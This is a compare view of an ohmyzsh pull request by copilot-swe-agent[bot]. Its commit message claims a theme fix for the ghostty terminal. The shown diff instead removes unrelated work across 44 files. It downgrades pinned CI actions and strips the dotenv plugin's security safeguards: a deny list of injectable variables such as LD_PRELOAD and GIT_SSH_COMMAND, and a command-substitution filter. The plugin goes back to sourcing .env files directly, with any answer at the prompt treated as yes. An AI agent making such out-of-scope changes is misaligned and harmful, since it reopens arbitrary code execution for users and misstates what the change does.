2 Commits

Author SHA1 Message Date
copilot-swe-agent[bot]
c95203294b fix(jonathan): avoid unicode box-drawing in ghostty 2026-05-27 08:29:16 +00:00
copilot-swe-agent[bot]
7b4ce37547 Initial plan 2026-05-27 08:22:59 +00:00
44 changed files with 103 additions and 1662 deletions

View File

@@ -21,7 +21,7 @@ jobs:
egress-policy: audit egress-policy: audit
- name: Checkout - name: Checkout
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: with:
fetch-depth: 0 fetch-depth: 0
- name: Authenticate as @ohmyzsh - name: Authenticate as @ohmyzsh

View File

@@ -219,7 +219,6 @@ class Dependency:
if status["has_updates"] is True: if status["has_updates"] is True:
short_sha = status["head_ref"][:8] short_sha = status["head_ref"][:8]
new_version = status["version"] if is_tag else short_sha new_version = status["version"] if is_tag else short_sha
source_ref = new_version if is_tag else status["head_ref"]
try: try:
branch_name = f"update/{self.path}/{new_version}" branch_name = f"update/{self.path}/{new_version}"
@@ -228,7 +227,7 @@ class Dependency:
branch = Git.checkout_or_create_branch(branch_name) branch = Git.checkout_or_create_branch(branch_name)
# Update dependency files # Update dependency files
self.__apply_upstream_changes(source_ref) self.__apply_upstream_changes()
if not Git.repo_is_clean(): if not Git.repo_is_clean():
# Update dependencies.yml file # Update dependencies.yml file
@@ -298,7 +297,7 @@ Check out the [list of changes]({status["compare_url"]}).
dep_yaml = DependencyStore.update_dependency_version(self.path, new_version) dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml) DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)
def __apply_upstream_changes(self, ref: str) -> None: def __apply_upstream_changes(self) -> None:
# Patterns to ignore in copying files from upstream repo # Patterns to ignore in copying files from upstream repo
GLOBAL_IGNORE = [".git", ".github", ".gitignore"] GLOBAL_IGNORE = [".git", ".github", ".gitignore"]
@@ -307,11 +306,12 @@ Check out the [list of changes]({status["compare_url"]}).
postcopy = self.values.get("postcopy") postcopy = self.values.get("postcopy")
repo = self.values["repo"] repo = self.values["repo"]
branch = self.values["branch"]
remote_url = f"https://github.com/{repo}.git" remote_url = f"https://github.com/{repo}.git"
repo_dir = os.path.join(TMP_DIR, repo) repo_dir = os.path.join(TMP_DIR, repo)
# Clone repository # Clone repository
Git.clone(remote_url, ref, repo_dir, reclone=True) Git.clone(remote_url, branch, repo_dir, reclone=True)
# Run precopy on tmp repo # Run precopy on tmp repo
if precopy is not None: if precopy is not None:
@@ -348,7 +348,7 @@ class Git:
default_branch = "master" default_branch = "master"
@staticmethod @staticmethod
def clone(remote_url: str, ref: str, repo_dir: str, reclone=False): def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
# If repo needs to be fresh # If repo needs to be fresh
if reclone and os.path.exists(repo_dir): if reclone and os.path.exists(repo_dir):
shutil.rmtree(repo_dir) shutil.rmtree(repo_dir)
@@ -356,11 +356,11 @@ class Git:
# Clone repo in tmp directory and checkout branch # Clone repo in tmp directory and checkout branch
if not os.path.exists(repo_dir): if not os.path.exists(repo_dir):
print( print(
f"Cloning {remote_url} to {repo_dir} and checking out {ref}", f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
file=sys.stderr, file=sys.stderr,
) )
CommandRunner.run_or_fail( CommandRunner.run_or_fail(
["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir], ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
stage="Clone", stage="Clone",
) )
@@ -392,15 +392,13 @@ class Git:
Returns `False` if the repo is dirty. Returns `False` if the repo is dirty.
""" """
try: try:
result = CommandRunner.run_or_fail( CommandRunner.run_or_fail(
["git", "status", "--porcelain", "--untracked-files=normal"], ["git", "diff", "--exit-code"], stage="CheckRepoClean"
stage="CheckRepoClean",
) )
return True
except CommandRunner.Exception: except CommandRunner.Exception:
return False return False
return result.stdout.strip() == b""
@staticmethod @staticmethod
def add_and_commit(scope: str, version: str) -> bool: def add_and_commit(scope: str, version: str) -> bool:
""" """

View File

@@ -31,7 +31,7 @@ jobs:
egress-policy: audit egress-policy: audit
- name: Set up git repository - name: Set up git repository
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install zsh - name: Install zsh
if: runner.os == 'Linux' if: runner.os == 'Linux'
run: sudo apt-get update; sudo apt-get install zsh run: sudo apt-get update; sudo apt-get install zsh
@@ -52,7 +52,7 @@ jobs:
egress-policy: audit egress-policy: audit
- name: Checkout - name: Checkout
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install Vercel CLI - name: Install Vercel CLI
run: npm install -g vercel run: npm install -g vercel
- name: Setup project and deploy - name: Setup project and deploy

View File

@@ -29,7 +29,7 @@ jobs:
egress-policy: audit egress-policy: audit
- name: Set up git repository - name: Set up git repository
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
- name: Install zsh - name: Install zsh
run: sudo apt-get update; sudo apt-get install zsh run: sudo apt-get update; sudo apt-get install zsh
- name: Check syntax - name: Check syntax

View File

@@ -41,7 +41,7 @@ jobs:
egress-policy: audit egress-policy: audit
- name: "Checkout code" - name: "Checkout code"
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6.0.3 uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with: with:
persist-credentials: false persist-credentials: false
@@ -60,6 +60,6 @@ jobs:
retention-days: 5 retention-days: 5
- name: "Upload to code-scanning" - name: "Upload to code-scanning"
uses: github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e # v4.36.2 uses: github/codeql-action/upload-sarif@7211b7c8077ea37d8641b6271f6a365a22a5fbfa # v4.36.0
with: with:
sarif_file: results.sarif sarif_file: results.sarif

View File

@@ -466,15 +466,6 @@ zstyle ':omz:update' frequency 7
zstyle ':omz:update' frequency 0 zstyle ':omz:update' frequency 0
``` ```
By default, updates always pull the latest changes. If you'd rather let others kick the tires first
before an update reaches your machine, you can set a cooldown (in days). You'll still get everything —
just a little later:
```sh
# Only apply updates that are at least 10 days old
zstyle ':omz:update' cooldown 10
```
### Updates Verbosity ### Updates Verbosity
You can also limit the update verbosity with the following settings: You can also limit the update verbosity with the following settings:

View File

@@ -1,5 +1,5 @@
# Bedtools plugin # Bedtools plugin
This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/): This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
* Adds autocomplete options for all bedtools sub commands. * Adds autocomplete options for all bedtools sub commands.

View File

@@ -17,12 +17,6 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment. the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.
### sbin directory
This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
ensures the `bdr` alias runs without warnings.
## Aliases ## Aliases
| Alias | Command | Description | | Alias | Command | Description |

View File

@@ -30,16 +30,6 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
export HOMEBREW_PREFIX="$(brew --prefix)" export HOMEBREW_PREFIX="$(brew --prefix)"
fi fi
# Add Homebrew sbin to PATH if it exists and is not already in PATH.
# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
# missing from PATH.
if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
fi
fi
if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions") fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
fi fi

View File

@@ -1,6 +1,6 @@
# Celery # Celery
This plugin provides completion for [Celery](https://docs.celeryq.dev/en/stable/). This plugin provides completion for [Celery](http://www.celeryproject.org/).
To use it add celery to the plugins array in your zshrc file. To use it add celery to the plugins array in your zshrc file.

View File

@@ -4,17 +4,17 @@ This plugin sets up completion and aliases for [Deno](https://deno.land).
## Aliases ## Aliases
| Alias | Full command | | Alias | Full command |
| ----- | ---------------- | | ----- | ------------------- |
| dc | deno compile | | db | deno bundle |
| dca | deno cache | | dc | deno compile |
| dck | deno check | | dca | deno cache |
| dfmt | deno fmt | | dfmt | deno fmt |
| dh | deno help | | dh | deno help |
| dli | deno lint | | dli | deno lint |
| drn | deno run | | drn | deno run |
| drA | deno run -A | | drA | deno run -A |
| drw | deno run --watch | | drw | deno run --watch |
| dsv | deno serve | | dru | deno run --unstable |
| dts | deno test | | dts | deno test |
| dup | deno upgrade | | dup | deno upgrade |

View File

@@ -1,14 +1,14 @@
# ALIASES # ALIASES
alias db='deno bundle'
alias dc='deno compile' alias dc='deno compile'
alias dca='deno cache' alias dca='deno cache'
alias dck='deno check'
alias dfmt='deno fmt' alias dfmt='deno fmt'
alias dh='deno help' alias dh='deno help'
alias dli='deno lint' alias dli='deno lint'
alias drn='deno run' alias drn='deno run'
alias drA='deno run -A' alias drA='deno run -A'
alias drw='deno run --watch' alias drw='deno run --watch'
alias dsv='deno serve' alias dru='deno run --unstable'
alias dts='deno test' alias dts='deno test'
alias dup='deno upgrade' alias dup='deno upgrade'

View File

@@ -1,9 +0,0 @@
tap: false
directories:
tests: tests
output: tests/_output
support: tests/_support
time_limit: 0
fail_fast: false
allow_risky: false
verbose: false

View File

@@ -34,25 +34,6 @@ PORT=3001
You can even mix both formats, although it's probably a bad idea. You can even mix both formats, although it's probably a bad idea.
Multi-line values are supported using quoted strings:
```sh
PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"
```
Variables defined earlier in the file can be referenced by later entries:
```sh
BASE_URL=https://example.com
API_URL=$BASE_URL/api
ASSETS_URL=${BASE_URL}/assets
```
Note: only variables defined within the same `.env` file are expanded this way —
shell environment variables that already exist are **not** substituted.
## Settings ## Settings
### ZSH_DOTENV_FILE ### ZSH_DOTENV_FILE
@@ -105,37 +86,13 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
No additional configuration is required — the plugin automatically detects and sources named pipes. No additional configuration is required — the plugin automatically detects and sources named pipes.
## Tests
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
```sh
cd plugins/dotenv && zunit
```
> [NOTE!]
> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
## Version Control ## Version Control
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only. **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
## Security ## Disclaimer
The plugin applies several best-effort safeguards when loading a `.env` file: This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
- **Forbidden variables** — the following variables are never overwritten, regardless of what the
`.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
`LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
`GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
`GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
parameters.
These measures are **best-effort** — you are still responsible for the content of your `.env`
file. Do not use this plugin as a security boundary.
If you need more advanced and feature-rich ENV management, check out these awesome projects: If you need more advanced and feature-rich ENV management, check out these awesome projects:

View File

@@ -7,271 +7,9 @@
: ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"} : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
: ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"} : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
## Functions ## Functions
_parse_dotenv_content() {
setopt localoptions extendedglob
local content="$1"
local mode="${2:-export}"
# Validate mode argument
case "$mode" in
export|test) ;;
*)
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
return 1
;;
esac
local node line key value
local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
local sq dq uq safe
local -A parsed_vars
local -a nodes lines
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
# (Z:C:) ignores comments and preserves quotes and escapes.
#
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
# by joining all elements between ';'.
#
# Example input:
# VAR1=value1; VAR2=value2
# VAR3="multi
# line value"
# Result:
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
#
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
for node in "${nodes[@]}"; do
if [[ "$node" == ";" ]]; then
if [[ -n "$line" ]]; then
lines+=("$line")
line=""
fi
continue
fi
[[ -z "$line" ]] || line+=" "
line+="$node"
done
local -a forbidden_vars=(
NODE_OPTIONS
BASH_ENV
ENV
ZDOTDIR
ZSH
LD_PRELOAD
LD_LIBRARY_PATH
DYLD_INSERT_LIBRARIES
GIT_CONFIG_GLOBAL
GIT_DIR
GIT_EDITOR
GIT_EXTERNAL_DIFF
GIT_EXEC_PATH
GIT_PAGER
GIT_SSH
GIT_SSH_COMMAND
GIT_SSL_NO_VERIFY
GIT_TEMPLATE_DIR
VISUAL
PAGER
EDITOR
${(k)parameters[(R)*export*special]}
)
local forbidden="${(j:|:)forbidden_vars}"
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
for line in "${lines[@]}"; do
# Strip leading 'export ' keyword
line="${line#export[ ]}"
# Match KEY=VALUE pattern
# "A name may be any sequence of alphanumeric characters and underscores"
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
continue
fi
key="${match[1]}"
value="${match[2]}"
raw_value="$value"
# Filter out variables to be ignored for security reasons (best effort)
if [[ "$key" == (${~forbidden}) ]]; then
continue
fi
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
local -a words
words=("${(@z)value}")
if [[ ${#words} -ne 1 ]]; then
continue
fi
## START: FILTER COMMAND EXPANSION
#
# Filter lines with command expansion not in safe contexts
#
# READER'S NOTE: this is actually a "best effort" check (works in tests), but
# only to prevent setting variables with command substitution. The actual effect
# of setting them would not be a vulnerability, because we use `typeset name=value`
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
#
# What does this mean? If we were to remove this filter block, this is what would happen:
#
# Input: DANGEROUS=$(echo this is a command)
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
#
# Check for potential command substitution outside of safe contexts
# - single-quoted strings: command substitution is literal there
sq="'[^']#'"
# - double-quoted strings, but NOT unescaped ` or $(
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
# - unquoted text, but NOT unescaped ` or $(
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
safe="(${sq}|${dq}|${uq})#"
# Remove the longest safe prefix; what remains starts at first unsafe construct
remainder="${value##${~safe}}"
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
continue
fi
## END: FILTER COMMAND EXPANSION
# Single-quoted values are fully literal and must not participate in expansion.
if [[ "$raw_value" == \'*\' ]]; then
value="${(Q)value}"
parsed_vars[$key]="$value"
if [[ "$mode" == "export" ]]; then
typeset -x "$key"="$value"
fi
continue
fi
# Preserve escaped dollars so they remain literal after unquoting.
escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
value="${value//\\\$/$escaped_dollar_placeholder}"
# Unquote the value to handle special characters and multiline values.
value="${(Q)value}"
# Expand previously parsed in-file variables without partial name matches.
expanded=""
prefix=""
remainder="$value"
var_name=""
while [[ "$remainder" == *'$'* ]]; do
prefix="${remainder%%\$*}"
expanded+="$prefix"
remainder="${remainder#$prefix}"
if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
var_name="${match[1]}"
remainder="${match[2]}"
elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
var_name="${match[1]}"
remainder="${match[2]}"
else
expanded+='$'
remainder="${remainder#?}"
continue
fi
if [[ -v "parsed_vars[$var_name]" ]]; then
expanded+="${parsed_vars[$var_name]}"
fi
done
value="${expanded}${remainder}"
value="${value//$escaped_dollar_placeholder/\$}"
# Store in parsed vars (for in-file expansion)
parsed_vars[$key]="$value"
# Normal mode: export the variable
if [[ "$mode" == "export" ]]; then
typeset -x "$key"="$value"
fi
done
# In test mode, set DOTENV_TEST_VARS
typeset -gA DOTENV_TEST_VARS
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
}
parse_dotenv() {
local filename="$1"
local mode="${2:-export}"
local content
# Fail if file is too large to avoid DoS
zmodload -F zsh/stat b:zstat
local -i file_size max_size=10485760 # 10MiB
if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
echo "dotenv: unable to determine size of file '$filename'" >&2
return 1
fi
if (( file_size > max_size )); then
echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
return 1
fi
content="$(<"$filename")" || return 1
_parse_dotenv_content "$content" "$mode"
}
_dotenv_read_limited() {
local filename="$1"
local chunk content=""
local -i max_size=10485760 total=0 read_size=0 fd read_status
zmodload zsh/system || return 1
exec {fd}<"$filename" || return 1
while true; do
sysread -i $fd -s 65536 -c read_size chunk
read_status=$?
if (( read_status == 5 )); then
break
elif (( read_status != 0 )); then
exec {fd}<&-
return 1
fi
(( total += read_size ))
if (( total > max_size )); then
exec {fd}<&-
echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
return 1
fi
content+="$chunk"
done
exec {fd}<&-
REPLY="$content"
}
_dotenv_check_syntax() {
local filename="$1"
if (( $# == 2 )); then
printf '%s' "$2" | zsh -fn /dev/stdin
else
zsh -fn -- "$filename"
fi || {
echo "dotenv: error when sourcing '$filename' file" >&2
return 1
}
}
source_env() { source_env() {
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
return return
@@ -299,35 +37,28 @@ source_env() {
[[ $column -eq 1 ]] || echo [[ $column -eq 1 ]] || echo
# print same-line prompt and output newline character if necessary # print same-line prompt and output newline character if necessary
echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) " echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
read -k 1 confirmation read -k 1 confirmation
[[ "$confirmation" = $'\n' ]] || echo [[ "$confirmation" = $'\n' ]] || echo
# check input # check input
case "$confirmation" in case "$confirmation" in
[yY]) ;; [nN]) return ;;
[aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;; [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
[eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;; [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
*) return ;; # interpret anything else as a no *) ;; # interpret anything else as a yes
esac esac
fi fi
fi fi
local content # test .env syntax
if [[ -p "$ZSH_DOTENV_FILE" ]]; then zsh -fn $ZSH_DOTENV_FILE || {
_dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1 echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
content="$REPLY" return 1
_dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1 }
setopt localoptions allexport
_parse_dotenv_content "$content"
return
fi
_dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
setopt localoptions allexport setopt localoptions allexport
parse_dotenv "$ZSH_DOTENV_FILE" source $ZSH_DOTENV_FILE
} }
autoload -U add-zsh-hook autoload -U add-zsh-hook

View File

@@ -1,2 +0,0 @@
*
!.gitignore

View File

@@ -1,139 +0,0 @@
#!/usr/bin/env zsh
# Bootstrap script for dotenv plugin tests
# This is sourced before any tests run and provides shared utilities
# Load the dotenv plugin
source "$PWD/dotenv.plugin.zsh"
ZSH_DOTENV_PROMPT=false
ZSH_DOTENV_FILE=/dev/null
# Helper: Parse dotenv file in test mode
_parse_dotenv_test() {
parse_dotenv "$1" "test"
}
# Helper: Parse dotenv file in export mode
_parse_dotenv_export() {
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
parse_dotenv "$1" "test"
for key in "${(k)DOTENV_TEST_VARS}"; do
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
done
}
# Helper: Run parse_dotenv suppressing stderr
_parse_dotenv_quiet() {
parse_dotenv "$@" 2>/dev/null
}
# Helper: Create a temporary test fixture
_create_temp_fixture() {
local fixture
fixture==(:) # Create temp file
echo "$fixture"
}
_write_temp_fixture() {
local fixture="$1"
> "$fixture"
}
# Helper: Source file with allexport and capture variables
# Usage: _source_with_allexport "file.env"
# Result is in DOTENV_SOURCE_VARS associative array
_source_with_allexport() {
local filename="$1"
# Source with allexport in a subshell with no exported variables
# The return and capture of the exported variables is a bit of a pain:
# 1. We first store the key=value pairs in $vars associative array, which is
# defined before allexport is set to avoid appearing in results.
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
# we join them with nulls.
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
# empty values, and then uses it to populate an associative array.
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
typeset -gA DOTENV_SOURCE_VARS
DOTENV_SOURCE_VARS=("${(@0)"$(
local -A vars
# Clear all exports first
zmodload zsh/parameter
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
# Source file with allexport
setopt localoptions allexport
source "$filename"
# Set all exported variables into an associative array
for key in ${(k)parameters[(R)*export*]}; do
vars[$key]="${(P)key}"
done
print -rn -- "${(@kvpj:\0:)vars}"
)"}")
}
## ZUnit assertion helpers
_zunit_assert_function_exists() {
[[ "${+functions[$1]}" -eq 1 ]] && return 0
echo "Function '$1' does not exist"
exit 1
}
_zunit_assert_var_same_as() {
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
if [[ $tvalue != $tcomp ]]; then
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
exit 78
fi
# Special case for associative arrays
if [[ ${(Pt)1} == "association" ]]; then
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
local -aU keys=("${(@k)value}" "${(@k)comparison}")
local ret=0 key
for key in "${keys[@]}"; do
# Key match checks
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
echo "'$1[$key]' is set (value='${value[$key]}')"
ret=1
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
ret=1
# Value match checks
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
ret=1
fi
done
exit $ret
fi
# Generic case
local value="${(P)1}" comparison="${(P)2}"
[[ "$value" != "$comparison" ]] || exit 0
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
exit 1
}
_zunit_assert_var_is_set() {
[[ -v "$1" ]] && return 0
echo "Variable '$1' is not set"
exit 1
}
_zunit_assert_var_is_not_set() {
[[ ! -v "$1" ]] && return 0
echo "Variable '$1' is set"
exit 1
}

View File

@@ -1,88 +0,0 @@
# Consolidated dotenv test fixture from dotenv test suite
# Source: https://github.com/motdotla/dotenv/tree/master/tests
#
# Copyright (c) 2015, Scott Motte
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Basic assignments
BASIC=basic
# previous line intentionally left blank
AFTER_LINE=after_line
# Empty values
EMPTY=
EMPTY_SINGLE_QUOTES=''
EMPTY_DOUBLE_QUOTES=""
# Single quotes (literal, no expansion)
SINGLE_QUOTES='single_quotes'
SINGLE_QUOTES_SPACED=' single quotes '
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
# Double quotes (with escapes)
DOUBLE_QUOTES="double_quotes"
DOUBLE_QUOTES_SPACED=" double quotes "
EXPAND_NEWLINES="expand\nnew\nlines"
# Unquoted (no escape expansion)
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
# Quotes inside quotes
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
# Comments
# COMMENTS=work
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
INLINE_COMMENTS_UNQUOTED=value # work
# Special characters
EQUAL_SIGNS=equals==
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
USEREMAIL=therealnerdybeast@example.tld
# Multiline values with double quotes
MULTI_DOUBLE_QUOTED="THIS
IS
A
MULTILINE
STRING"
# Multiline values with single quotes
MULTI_SINGLE_QUOTED='THIS
IS
A
MULTILINE
STRING'
# Multiline PEM certificate
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
u4QuUoobAgMBAAE=
-----END PUBLIC KEY-----"

View File

@@ -1,23 +0,0 @@
# Export syntax
export EXPORTED_VAR=exported_value
export EXPORTED_EMPTY=
# Variable expansion (in-file forward references)
BASE_URL=https://api.example.com
API_ENDPOINT="${BASE_URL}/v1"
FULL_ENDPOINT=$BASE_URL/v2/users
COMBINED="${BASE_URL}_suffix"
# Testing multiline quoting edge cases
MULTILINE_UNQUOTED=This\ is\ a\ \
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
MULTILINE_DOUBLE_QUOTED="This is a \
